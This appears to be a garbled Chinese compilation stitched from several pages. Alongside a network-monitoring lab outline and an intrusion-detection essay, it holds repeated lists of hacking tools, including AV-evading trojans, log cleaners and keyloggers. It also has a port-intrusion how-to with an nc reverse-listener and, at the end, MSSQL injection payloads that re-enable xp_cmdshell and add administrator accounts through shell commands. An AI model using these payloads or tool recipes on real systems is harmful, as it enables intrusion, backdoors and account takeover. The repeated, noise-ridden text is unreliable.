本次实验的主要项目包括以下几个方面： 1、利用TCPView监控网络连接和会话。 2、利用Windows系统工具监控文件共享、系统进程和服务。 3、配置Windows系统审核策略，监控敏感文件，攻击模拟后查看系统安全日志。 4、攻击模拟后查看Web、FTP等服务的访问日志。 5、安装、配置Snort监控所在网络的通信。 五、实验步骤 参考配置和步骤如下： 1、利用TCPView监控网络连接和会话 运行工具软件TCPView，运行浏览器等网络软件，如下图，查看本机的网络连接和会话。 2、利用360安全卫士进行安全检查 360安全卫士是目前最为流行的桌面安全工具，在其“高级工具”中集成了多个检测工具，可以帮助我们发现恶意程序和黑客的入侵，并作出相应的修补。 类似TCPView的工具也可以在360安全卫士的高级工具中找到。 3、利用Windows系统工具监控文件共享、系统进程和服务 运行“计算机管理”管理工具，打开“共享文件夹”，查看已经建立的会话和打开的文件。
黑客工具包大全 一、扫描工具 X-scan 3.1 焦点出的扫描器，国内最优秀的安全扫描软件之一!非常专业的一个扫描器! X-way 2.5 这也上一个非常不错的扫描器哦!功能非常多!使用也不难,入侵必备工具! SuperScan 3.0 强大的TCP 端口扫描器、Ping 和域名解析器! Namp 3.5 这个就厉害了,安全界人人皆知的非常有名气的一个扫描器!作者Fyodor Hscan v1.20 这是款运行在Win NT/2000下的漏洞扫描工具，有GUI以及命令行两种扫描方式! SSS 俄罗斯安全界非常专业的一个安全漏洞扫描软件! U-Scan.exe 非常好的UNICODE漏洞扫描工具! RpcScan V1.1 可以通过135端口枚举远程主机RPC连接信息! SHED 1.01 一个用来扫描共享漏洞的机器的工具! DSScan V1.00 ms04-011远程缓冲区溢出漏洞扫描专用! Dotpot PortReady1.6 该软件为“绿色软件”，无需安装，非常小巧（仅23KB），具有极快的扫描速度! WebDAVScan v1.0 针对WEBDAV漏洞的扫描工具! 注意:该软件解压缩时会被查杀! Socks Proxy Finder2 扫描端口速度非常快的一个工具,扫描完毕后还可以导出保存起来! SQLScan v1.2 猜解开着1433端口的住机密码工具! RPC漏洞扫描器 v1.03 针对RPC漏洞扫描的工具! 流光5.0 破解版国内大名鼎鼎的黑客扫描工具,由高级程序员小榕编写! 自动攻击探测机 Windows NT/2000 自动攻击探测机 4899空口令探测能够快速的扫描到被安装了radmin服务端4899端口的空口令IP! 二、远程控制 黑洞免杀版藏鲸阁-陈经韬编写的著名远程控制程序!该版本还是8月15最新版的哦! 冰河免杀版国内最有名,历史最悠久的木马冰河!本版本是冰河的最新版本,服务器端只有16KB! 灰鸽子迷你版灰鸽子工作室-葛军同志的作品! 网络神偷 5.7 网络神偷是一个专业级的远程文件访问工具!具有反弹功能! 广外女生 1.53 广州-广外女生小组的作品,曾风靡一时! 注意:该软件解压缩时会被查杀! Radmin3.2影子版非常有名的监视程序!并非木马,所以服务端不会被查杀! 黑...................... 2.0 使用跟Radmin一样，功能明显比它多，扫描速度也非常快！风雪远程控制 v3.9 基于TCP/IP协议的远程管理网络工具,一个具有反弹功能的工具,非常小巧! 无赖小子 2.5 无赖小子2.5，08月23日发布，其默认端口8011! 蓝色火焰 v0.5 蓝色火焰是一个没有客户端的木马,可谓无招胜有招!注意:该软件解压缩时会被查杀! 网络公牛国产公牛木马,由于上传文件大小限制,包中没有加入易语言运行库文件krnln.fnr! GoToMyPC 4.00 安装简单；能够从任何安装有浏览器的计算机上访问主机；具有新的安全功
常用入侵检测小工具 svc 远程安装/删除win2k服务 3389.vbs 远程安装win2k终端服务 arpsniffer arp环境sniffer(需要winpcap2.1以上) ascii 查询字符和数字ascii码(常用来对url编码用以躲避ids或脚本过滤) ca 远程克隆账号 cca 检查是否有克隆账号 cgi-backdoor 几个cgi木马(十多种最新的web脚本后门，涵盖 jsp,php,asp,cgi等等) crackvnc 远程/本地破解winvnc密码(本地破用-W参数) pass.dic 密码字典 debploit win2k+sp2配置最佳权限提升工具 fpipe 端口重定向工具 fscan superscan命令行版本(可定义扫描时的源端口并支持udp端口扫描) hgod04 ddos攻击器 idahack ida溢出 idq.dll 利用isapi漏洞提升权限(对sp0+sp1+sp2都非常有效，也是很棒的web后门)
IIS idq溢出 inst.zip 指定程序安装为win2k服务 ip_mail.rar 发送主机动态IP的软件 ipc.vbs 不依赖ipc$给远程主机开telnet ispc.exe idq.dll连接客户端 Keyghost.zip 正版键盘记录器 log.vbs 日志清除器(远程清除不依赖ipc$) md5.pl 论坛md5加密密码破解器 msadc.pl winnt的msadc漏洞溢出器 MsSqlHack mssql溢出程序1 mysql-client mysql客户端 Name.dic 最常用的中国人用户名(看看你常用的用户名在不在里面) PassSniffer 大小仅3kb的非交换机sniffer软件 psexec 通过ipc管道直接登录主机 pskill 杀进程高手:) pslist 列进程高手:) rar 命令行下的winrar reboot.vbs 远程重启主机的脚本 sdemo.zip 巨好的屏幕拍摄的录像软件
黑客常用工具集 一、扫描工具 X-scan 3.1 焦点出的扫描器，国内最优秀的安全扫描软件之一!非常专业的一个扫描器! X-way 2.5 这也上一个非常不错的扫描器哦!功能非常多!使用也不难,进侵必备工具! SuperScan 3.0 强大的TCP 端口扫描器、Ping 和域名解析器! Namp 3.5 这个就厉害了,安全界人人皆知的非常有名气的一个扫描器!作者Fyodor Hscan v1.20 这是款运行在Win NT/2000下的漏洞扫描工具，有GUI以及命令行两种扫描方式! SSS 俄罗斯安全界非常专业的一个安全漏洞扫描软件! U-Scan.exe 非常好的UNICODE漏洞扫描工具! RpcScan V1.1 可以通过135端口枚举远程主机RPC连接信息! SHED 1.01 一个用来扫描共享漏洞的机器的工具! DSScan V1.00 ms04-011远程缓冲区溢出漏洞扫描专用! Dotpot PortReady1.6 该软件为“绿色软件”，无需安装，非常小巧（仅23KB），具有极快的扫描速度! WebDAVScan v1.0 针对WEBDAV漏洞的扫描工具! 留意:该软件解压缩时会被查杀! Socks Proxy Finder2 扫描端口速度非常快的一个工具,扫描完毕后还可以导出保存起来! SQLScan v1.2 猜解开着1433端口的住机密码工具! RPC漏洞扫描器 v1.03 针对RPC漏洞扫描的工具! 流光5.0 破解版国内大名鼎鼎的黑客扫描工具,由高级程序员小榕编写! 自动攻击探测机 Windows NT/2000 自动攻击探测机 4899空口令探测能够快速的扫描到被安装了radmin服务端4899端口的空口令IP! 旁注专用检测程序 1.2 旁注进侵专用检测程序,主要功能有查询虚拟主机域名和批量检测上传漏洞! 二、远程控制 黑洞2004 免杀版躲鲸阁-陈经韬编写的著名远程控制程序!该版本还是8月15最新版的哦! 冰河2004 免杀版国内最有名,历史最悠久的木马冰河!本版本是冰河的最新版本,服务器端只有16KB! 神气儿最新2.0版国产远程控制程序，DLL进程插进,IP反向连接!由第八军团出品! 灰鸽子迷你版灰鸽子工作室-葛军同道的作品! 网络神偷 5.7 网络神偷是一个专业级的远程文件访问工具!具有反弹功能! 广外女生 1.53 广州-广外女生小组的作品,曾风靡一时! 留意:该软件解压缩时会被查杀! Radmin3.2影子版非常有名的监视程序!并非木马,所以服务端不会被查杀! *** 2.0 使用跟Radmin一样，功能明显比它多，扫描速度也非常快！ 风雪远程控制 v3.9 基于TCP/IP协议的远程治理网络工具,一个具有反弹功能的工具,非常小巧! 无赖小子 2.5 无赖小子2.5，08月23日发布，其默认端口8011! 蓝色火焰 v0.5 蓝色火焰是一个没有客户真个木马,可谓无招胜有招!留意:该软件解压缩时会被查杀! 网络公牛国产公牛木马,由于上传文件大小限制,包中没有加进易语言运行库文件krnln.fnr! GoToMyPC 4.00 安装简单；能够从任何安装有浏览器的计算机上访问主机；具有新的安全功能! 二、远程控制 黑洞2004 免杀版躲鲸阁-陈经韬编写的著名远程控制程序!该版本还是8月15最新版的哦! 冰河2004 免杀版国内最有名,历史最悠久的木马冰河!本版本是冰河的最新版本,服务器端只有16KB! 神气儿最新2.0版国产远程控制程序，DLL进程插进,IP反向连接!由第八军团出品! 灰鸽子迷你版灰鸽子工作室-葛军同道的作品! 网络神偷 5.7 网络神偷是一个专业级的远程文件访问工具!具有反弹功能! 广外女生 1.53 广州-广外女生小组的作品,曾风靡一时! 留意:该软件解压缩时会被查杀!
入侵检测安全解决方案 摘要： 随着互联网技术的飞速发展，网络安全逐渐成为一个潜在的巨大问题。但是长久以来，人们普遍关注的只是网络中信息传递的正确与否、速度怎样，而忽视了信息的安全问题，结果导致大量连接到Internet上的计算机暴露在愈来愈频繁的攻击中。因此，保证计算机系统、网络系统以及整个信息基础设施的安全已经成为刻不容缓的重要课题。本文先介绍入侵检测的概念和基本模型，然后按不同的类别分别介绍其技术特点。 关键词： 网络安全、入侵检测、入侵检测系统、蠕虫、入侵检测系统的发展 引言： 随着Internet的迅速扩张和电子商务的兴起，越来越多的企业以及政府部门依靠网络传递信息。然而网络的开放性与共享性使它很容易受到外界的攻击与破坏,信息的安全保密性受到了严重影响。与此同时，网上黑客的攻击活动也逐渐猖狂。人们发现保护资源和数据的安全，让其免受来自恶意入侵者的威胁是件非常重要的事。因此，保证计算机系统、网络系统以及整个信息基础设施的安全已经成为刻不容缓的重要课题，入侵检测技术随即产生。 正文： 该网络的拓扑结构分析 从网络拓扑图可以看出，该网络分为办公局域网、服务器网络和外网服务器，通过防火墙与互联网连接。在办公局域网中有一个交换机和一些客户机。对于办公局域网络，每台计算机处于平等的位置，两者之间的通信不用经过别的节点，它们处于竞争和共享的总线结构中。这种网络适用于规模不大的小型网络当中，管理简单方便，安全控制要求不高的场合。在服务器网络中，有目录服务器、邮件服务器等通过核心交换机，在经过防火墙与外网服务器相连，在通过外网防火墙与互联网相连。 网络拓扑结构安全性考虑 网络拓扑结构与网络的安全性关系很大，如果设备再好，结构设计有问题，比如拓扑结构不合理，使防火墙旋转放置在网络内部，而不是网络与外部的出口处，这样整个网络就不能抵挡外部的入侵了。设计好网络的拓扑结构，也就是使其进出口减少了收缩，把防御设备放置到网络的出入口，特别是防火墙和路由器，一定要放置在网络的边缘上，且是每个出入口均要有。 内网防火墙是一类防范措施的总称，它使得内部网络与Internet之间或者与其他外部网络互相隔离、限制网络互访用来保护内部网络。防火墙简单的可以只用路由器实现，复杂的可以用主机甚至一个子网来实现。设置防火墙目的都是为了在内部网与外部网之间设立唯一的通道，简化网络的安全管理。 防火墙的功能有： 1、过滤掉不安全服务和非法用户 2、控制对特殊站点的访问 3、提供监视Internet安全和预警的方便端点 由于互连网的开放性，有许多防范功能的防火墙也有一些防范不到的地方： 1、防火墙不能防范不经由防火墙的攻击。例如，如果允许从受保护网内部不受限制的向外拨号，一些用户可以形成与Internet的直接的连接，从而绕过防火墙，造成一个潜在的后门攻击渠道。
【托管服务qin】黑客常用的几种入侵端口的方法 服务器托管, BGP, 光钎专线, 防火墙, 新一代IDC 工欲善其事，必先利其器，本文简单介绍目前黑客最常使用的一些入 侵工具及防御的方法，希望能对大家有所帮助，以助于大家能更好地防御黑客的攻击。" ^' D( E3 K! N) ^! c 1. 1433端口入侵 scanport.exe 查有1433的机器 SQLScanPass.exe 进行字典暴破（字典是关键）7 L5 a9 T" E: C& x' k* C 最后SQLTools.exe入侵4 r+ F" q g9 j- K9 m* x4 o' E =============================2 z0 ~3 T) K5 n8 W; Z 对sql的sp2及以下的系统，可用sql的hello 溢出漏洞入侵。 nc -vv -l -p 本机端口sqlhelloF.exe 入侵ip 1433 本机ip 本机端口 （以上反向的，测试成功）) Q) Q7 K+ L! J$ o6 Z9 w( a sqlhelloz.exe 入侵ip 1433 （这个是正向连接）% J3 L6 x8 y: t; p 2. 4899端口入侵9 `" f0 r# k2 ^: F 用4899过滤器。exe，扫描空口令的机器 3. 3899的入侵 对很早的机器，可以试试3389的溢出（win3389ex.exe） 对2000的机器，可以试试字典暴破。（tscrack.exe）* X8 }: O! |2 }& x7 M 4. 80入侵+ J9 [0 L4 _) B! K 对sp3以前的机器，可以用webdav入侵；
黑客必备所有工具 一、扫描工具 X-scan 3.1 焦点出的扫描器，国内最优秀的安全扫描软件之一!非常专业的一个扫描器! X-way 2.5 这也上一个非常不错的扫描器哦!功能非常多!使用也不难,入侵必备工具! SuperScan 3.0 强大的TCP 端口扫描器、Ping 和域名解析器! Namp 3.5 这个就厉害了,安全界人人皆知的非常有名气的一个扫描器!作者Fyodor Hscan v1.20 这是款运行在Win NT/2000下的漏洞扫描工具，有GUI以及命令行两种扫描方式! SSS 俄罗斯安全界非常专业的一个安全漏洞扫描软件! U-Scan.exe 非常好的UNICODE漏洞扫描工具! RpcScan V1.1 可以通过135端口枚举远程主机RPC连接信息! SHED 1.01 一个用来扫描共享漏洞的机器的工具! DSScan V1.00 ms04-011远程缓冲区溢出漏洞扫描专用! Dotpot PortReady1.6 该软件为“绿色软件”，无需安装，非常小巧（仅23KB），具有极快的扫描速度! WebDAVScan v1.0 针对WEBDAV漏洞的扫描工具! 注意:该软件解压缩时会被查杀! Socks Proxy Finder2 扫描端口速度非常快的一个工具,扫描完毕后还可以导出保存起来! SQLScan v1.2 猜解开着1433端口的住机密码工具! RPC漏洞扫描器v1.03 针对RPC漏洞扫描的工具! 流光5.0 破解版国内大名鼎鼎的黑客扫描工具,由高级程序员小榕编写! 自动攻击探测机Windows NT/2000 自动攻击探测机 4899空口令探测能够快速的扫描到被安装了radmin服务端4899端口的空口令IP! 二、远程控制 黑洞免杀版藏鲸阁-陈经韬编写的著名远程控制程序!该版本还是8月15最新版的哦! 冰河免杀版国内最有名,历史最悠久的木马冰河!本版本是冰河的最新版本,服务器端只有16KB! 灰鸽子迷你版灰鸽子工作室-葛军同志的作品! 网络神偷 5.7 网络神偷是一个专业级的远程文件访问工具!具有反弹功能! 广外女生 1.53 广州-广外女生小组的作品,曾风靡一时! 注意:该软件解压缩时会被查杀! Radmin3.2影子版非常有名的监视程序!并非木马,所以服务端不会被查杀! 黑...................... 2.0 使用跟Radmin一样，功能明显比它多，扫描速度也非常快！ 风雪远程控制v3.9 基于TCP/IP协议的远程管理网络工具,一个具有反弹功能的工具,非常小巧! 无赖小子 2.5 无赖小子2.5，08月23日发布，其默认端口8011! 蓝色火焰v0.5 蓝色火焰是一个没有客户端的木马,可谓无招胜有招!注意:该软件解压缩时会被查杀! 网络公牛国产公牛木马,由于上传文件大小限制,包中没有加入易语言运行库文件krnln.fnr! GoToMyPC 4.00 安装简单；能够从任何安装有浏览器的计算机上访问主机；具有新的安全功能! 三、入侵必备 SQL综合利用工具非常好的一个SQL连接器,除了可以输入CMD命令外,还可以直接上传软件! SuperSQLEXEC 用来连接sql server的工具！ 3389.exe 开远程机器3389端口的小东东!只要把程序上传到肉鸡运行后,重启既可!
黑客常用的注入代码 //看看是什么权限的 and 1=(Select IS_MEMBER('db_owner')) And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;-- //检测是否有读取某数据库的权限 and 1= (Select HAS_DBACCESS('master')) And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 -- 数字类型 and char(124)%2Buser%2Bchar(124)=0 字符类型 ' and char(124)%2Buser%2Bchar(124)=0 and ''=' 搜索类型 ' and char(124)%2Buser%2Bchar(124)=0 and '%'=' 爆用户名 and user>0 ' and user>0 and ''=' 检测是否为SA权限 and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E 00) as varchar(1))%2Bchar(124)=1 -- 检测是不是MSSQL数据库
and exists (select * from sysobjects);-- 检测是否支持多行 ;declare @d int;-- 恢复xp_cmdshell ;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';-- select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpa f','select @@version') //----------------------- // 执行命令 //----------------------- 首先开启沙盘模式： exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Eng ines','SandBoxMode','REG_DWORD',1 然后利用jet.oledb执行系统命令 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\i as.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') 执行命令 ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_O AMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf / add';-- EXEC .. 'cmd /c md c:\1111'